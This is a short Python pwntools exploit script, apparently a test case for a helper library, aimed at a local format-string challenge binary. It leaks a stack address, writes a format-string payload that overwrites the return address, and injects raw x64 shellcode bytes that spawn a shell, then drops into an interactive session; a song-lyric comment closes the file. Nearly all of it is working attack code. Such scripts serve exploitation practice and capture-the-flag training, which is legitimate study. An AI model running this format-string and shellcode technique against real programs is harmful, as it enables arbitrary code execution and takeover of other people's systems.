# +------------------------------------------------+
# | Atack: Format String Ret Shellcode             |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/10-fmt_strings

from pwn import *

import sf

target = process("./chall-test_FmtString-09-x64")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=64)

target.recvuntil("Tell me I was never good enough: ")
leak = int(target.recvuntil(b"\n").strip(b"\n"), 16)
ret_address = leak + (520)
fs = sf.WriteFmtStr(
		arch = 64,
		value = -0x1b0,
		address = 0x0,
		offset = 0x6,
		printed_bytes = 0x0,
		alignment_bytes = 0x0,
		value_base = ret_address,
		address_base = ret_address)

payload = sf.BufferOverflow(arch=64, start=520)
payload.add_bytes(520, fs.generate_fmt_str())
payload.add_bytes(432, b"\x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x0f\x05")
target.sendline(payload.generate_payload())


target.interactive()

# +------------------------------------------------+
# | Artist: Green Day                              |
# +------------------------------------------------+
# | Song: Holiday                                  |
# +------------------------------------------------+
# | Hear the sound of the                          |
# | falling rain                                   |
# +------------------------------------------------+

